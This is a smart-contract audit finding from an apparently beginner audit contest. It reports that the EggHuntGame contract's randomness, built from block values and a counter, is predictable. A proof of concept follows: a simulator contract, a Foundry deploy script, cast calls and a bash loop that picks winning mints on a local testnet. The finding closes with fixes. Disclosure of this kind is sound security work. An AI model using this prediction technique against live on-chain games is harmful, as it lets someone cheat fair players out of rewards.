Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Weak PRNG Allows Guaranteed Egg Mints via Off-Chain Prediction

Summary

The EggHuntGame contract uses an insecure method for generating randomness based on predictable blockchain parameters; it uses keccak256 with a combination of block.timestamp, block.prevrandao, msg.sender, and eggCounter. These numbers are predictable so a threat actor could simulate the randomness off-chain with a malicious contract and only submit transactions when a successful mint is guaranteed.

Vulnerability Details

The random number is calculated using this code:

uint256 random = uint256(
keccak256(
abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter)
)
) % 100;

This is an issue because block.timestamp and block.prevrandao are known or predictable by the time the transaction is minted. msg.sender is controlled by the attacker; and eggCounter is either known or easily bruteforceable on-chain.

Since the modulo operation doesn't provide cryptographic randomness, a threat actor could simulate this PRNG logic off-chain and determine in advance whether a call to searchForEgg() would result in a successful mint or not (e.g., if the result is less than the game's eggFindThreshold.. 25`).

Impact

A threat actor could:

  • Avoid wasting gas on failed mint attempts

  • Game the mint system to mint multiple eggs

  • Gain a significant advantage over legitimate players

  • Undermine the integrity and fairness of the game

This creates centralization of rewards and opens the protocol up to abuse by botting/scripting.

Tools Used

  • Foundry (forge, anvil, cast)

  • VS Code

  • An Anvil testnet (chain ID: 31337)

Proof of Concept

Step 1: Create a Simulator Contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
contract PRNGSimulator {
function simulate(
uint256 timestamp,
uint256 prevrandao,
address sender,
uint256 eggCounter
) public pure returns (uint256) {
return uint256(
keccak256(
abi.encodePacked(timestamp, prevrandao, sender, eggCounter)
)
) % 100;
}
}

Step 2: Deploy Using Foundry Script

import "forge-std/Script.sol";
contract DeployPRNGSimulator is Script {
function run() external {
vm.startBroadcast();
new PRNGSimulator();
vm.stopBroadcast();
}
}

Run with anvil - in a new terminal:

forge script script/PRNGSimulator.s.sol:DeployPRNGSimulator \
--rpc-url http://127.0.0.1:8545 \
--private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 \
--broadcast

Deploy locally to: 0x5FbDB2315678afecb367f032d93F642f64180aa3

Step 3: Simulate On-Chain Behavior with cast
Example input:

cast call 0x5FbDB2315678afecb367f032d93F642f64180aa3 \
"simulate(uint256,uint256,address,uint256)" \
1712163000 0xabc123 0x0000000000000000000000000000000000000001 0 \
--rpc-url http://127.0.0.1:8545

Returns:
0x...000f → decimal 15 ✅ Guaranteed Mint (under 25)

Step 4: Automate with Bash Script

for i in {0..20}; do
result=$(cast call 0x5FbDB2315678afecb367f032d93F642f64180aa3 \
"simulate(uint256,uint256,address,uint256)" \
1712163000 0xabc123 0x0000000000000000000000000000000000000001 $i \
--rpc-url http://127.0.0.1:8545)
decimal=$((16#${result:2}))
if [ "$decimal" -lt 25 ]; then
echo "🥚 eggCounter = $i → random = $decimal ✅ MINT LIKELY"
else
echo "eggCounter = $i → random = $decimal"
fi
done

Output (Truncated):

🥚 eggCounter = 0 → random = 15 ✅ MINT LIKELY
🥚 eggCounter = 6 → random = 5 ✅ MINT LIKELY
🥚 eggCounter = 9 → random = 23 ✅ MINT LIKELY
🥚 eggCounter = 18 → random = 4 ✅ MINT LIKELY

This demonstrates how the outcome can be predicted and exploited without ever touching the real game contracts.

Recommendations

To mitigate this, use a secure randomness source like:

  • Chainlink VRF

  • RANDAO + user commit-reveal schemes (with proper timing separation)

  • Off-chain oracles with verifiable signatures

Avoid relying on block values like timestamp, prevrandao, or block.number for randomness - these are either manipulable or predictable.

Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.